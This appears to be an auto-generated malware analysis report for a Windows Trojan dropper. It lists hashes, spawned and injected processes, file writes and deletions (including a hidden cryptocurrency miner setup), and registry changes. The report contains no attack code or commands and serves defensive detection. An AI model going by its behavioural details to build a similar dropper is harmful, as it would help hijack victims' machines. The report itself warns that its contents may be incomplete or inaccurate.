Trojan.NSIS.StartPage_bba3e3f9fd

by malwarelabrobot on December 23rd, 2015 in Malware Descriptions.

Trojan.NSIS.StartPage.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, Trojan.Win32.Swrort.3.FD, VirTool.Win32.DelfInject.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan, VirTool


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: bba3e3f9fd10a9fcd3f719e13f2120b5
SHA1: 88cbac1aff4f8ae37b25b5a3565bb6d1449e293d
SHA256: 1af8295e9cb860f0d1d51a62de28e662c880ab9db7b786aee15e9d9d03119c01
SSDeep: 3072:xQIURTXJQfs2aiXq3vGYXsxPFyLs1LFNDVsmIEmBo7wv7r3:xsq0yu A4ELsNFNDVsmhYrv7r3
Size: 158294 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-12-06 00:50:46
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

nsl13.tmp:2036
%original file name%.exe:484
nstF.tmp:1632
setup3.tmp:3504
nsy22.tmp:356
nsg1E.tmp:1992
setup3.exe:3480
setup.exe:2492
nsu2C.tmp:1056
nsa3A.tmp:3436
amisid.exe:824
tmp37.tmp.exe:2216
nsl5.tmp:972
nsz25.tmp:928
nsz25.tmp:252

The Trojan injects its code into the following process(es):

gpuminer-setup.exe:220
nsj1B.tmp:1168
avg20.exe:284
adv_128.exe:220

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process nsl13.tmp:2036 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsw16.tmp (3638 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsw15.tmp (0 bytes)

The process %original file name%.exe:484 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb7.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq6.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (7969 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp4.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw8.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp4.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)

The process nstF.tmp:1632 makes changes in the file system.
The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf11.tmp (0 bytes)

The process setup3.tmp:3504 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Program Files%\baidu\is-SNOFS.tmp (601 bytes)
%Program Files%\baidu\unins000.dat (934 bytes)
%Program Files%\baidu\is-GPGM2.tmp (36 bytes)
%Program Files%\baidu\is-7RHJS.tmp (34453 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-SBUS4.tmp\_isetup\_shfoldr.dll (23 bytes)
%Program Files%\baidu\baidu.ini (25 bytes)

The process nsy22.tmp:356 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsz25.tmp (8472 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso26.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\Bundle_OperaRUnew[1].exe (8472 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nso26.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso26.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj24.tmp (0 bytes)

The process nsg1E.tmp:1992 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\SilentInstaller_dotnet4[1].exe (152993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\avg20.exe (40388 bytes)

The process gpuminer-setup.exe:220 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\ns35.tmp (9 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2re.cl (12 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\groestl256.cl (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsis7z.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\blake.cl (9 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\bmw.cl (16 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\jh.cl (11 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\neoscrypt.cl (16 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\skein256.cl (3 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\neoscrypt-old.cl (25 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2v2.cl (5 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\msvcr120.dll (32784 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\darkcoin-mod.cl (41 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\keccak1600.cl (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy33.tmp (99730 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\bmw256.cl (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel (4 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\blake256.cl (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsExec.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2.cl (6 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\keccak.cl (21 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\shabal.cl (12 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\echo.cl (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsProcess.dll (7 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\groestl.cl (72 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\shavite.cl (22 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\sgm.exe (16613 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\simd.cl (59 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\skein.cl (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\ns36.tmp (9 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\cubehash.cl (8 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2rev2.cl (14 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\sgminer.conf (739 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\start.cmd (214 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer.7z (101987 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\aes_helper.cl (24 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\fugue.cl (34 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\clinfo.exe (43 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\luffa.cl (14 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer (4 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\msvcr120.dll (32784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\ns35.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi32.tmp (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\groestl256.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\skein256.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\sgm.exe (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\blake.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\bmw.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\jh.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\neoscrypt.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\neoscrypt-old.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2v2.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\darkcoin-mod.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\keccak1600.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\bmw256.cl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2re.cl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsProcess.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\keccak.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\start.cmd (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\echo.cl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\nsis7z.dll (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\groestl.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\shavite.cl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\simd.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\skein.cl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp\ns36.tmp (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\cubehash.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\lyra2rev2.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\sgminer.conf (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\shabal.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer.7z (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\aes_helper.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\fugue.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\clinfo.exe (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\luffa.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\kernel\blake256.cl (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\sgminer\msvcr120.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn34.tmp (0 bytes)

The process setup3.exe:3480 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-GFSDH.tmp\setup3.tmp (7386 bytes)

The process setup.exe:2492 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\chrome_installer.log (333 bytes)

The process nsu2C.tmp:1056 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\IpConfig.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\ns31.tmp (9 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\gpuminer-setup.exe (46278 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso2F.tmp (259078 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\nsProcess.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\nsExec.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cpuminer\msvcr120.dll (32784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cpuminer\cpuminer-conf.json (226 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\CPUFeatures.dll (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cpuminer\cpm.exe (144456 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\ns38.tmp (9 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\cpuminer-uninst.exe (816 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\IpConfig.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\ns31.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst2E.tmp (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\gpuminer-setup.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\ns38.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\CPUFeatures.dll (0 bytes)
%Documents and Settings%\%current user%\Application Data\cpuminer\cpuminer-uninst.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\registry.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse30.tmp\nsProcess.dll (0 bytes)

The process nsa3A.tmp:3436 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\setup3.exe (2420 bytes)

The process avg20.exe:284 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\f9626892-7a78-3199-abd2-97bbce96297b\adv_128.exe (1188757 bytes)

The process tmp37.tmp.exe:2216 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\CR_7BF10.tmp\CHROME.PACKED.7Z (274744 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CR_7BF10.tmp\SETUP.EX_ (1612 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\CR_7BF10.tmp\setup.exe (16808 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\CR_7BF10.tmp\SETUP.EX_ (0 bytes)

The process adv_128.exe:220 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp37.tmp.exe (275838 bytes)

The process nsl5.tmp:972 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsd19.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj1B.tmp (261221 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst39.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\cmmdWriter[1].exe (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk1C.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstF.tmp (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm1F.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsnE.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\7121923af824073a25b2b7e6ba0a6e0e[1].exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst1A.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsmA.tmp (12673 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj23.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\pptxd[1].exe (47264 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu10.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsmC.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (90 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm17.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3A.tmp (47264 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf1D.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk12.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2B.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\Cdn[1].exe (286251 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\YJHCp1[1].exe (9352 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nshB.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq14.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsnD.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\prepreinstaller_win[1].exe (16664 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\vos[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg1E.tmp (16664 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl13.tmp (9352 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2D.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3B.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2C.tmp (286251 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (75 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss21.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy22.tmp (4152 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsw9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd19.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj1B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst39.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk1C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj23.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstF.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm1F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst1A.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu10.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nshB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsmC.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm17.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf1D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk12.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm18.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq14.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsnD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg1E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl13.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss21.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy22.tmp (0 bytes)

The process nsz25.tmp:928 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\registry.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\checks.txt (544 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\amisid.exe (909 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\registry.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\checks.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv27.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\amisid.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv28.tmp\System.dll (0 bytes)

The process nsz25.tmp:252 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\amisid.exe (909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\registry.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\nsisos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\post_reply.htm (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\inetc.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\thankyou[1].php (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\checks.txt (544 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\amisid.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\registry.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\nsisos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl29.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\md5dll.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\post_reply.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\dummy.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa2A.tmp\checks.txt (0 bytes)

Registry activity

The process nsl13.tmp:2036 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E3 39 2F BC CB 03 53 BF 56 B9 7F 9B 0C 1A AB 1C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

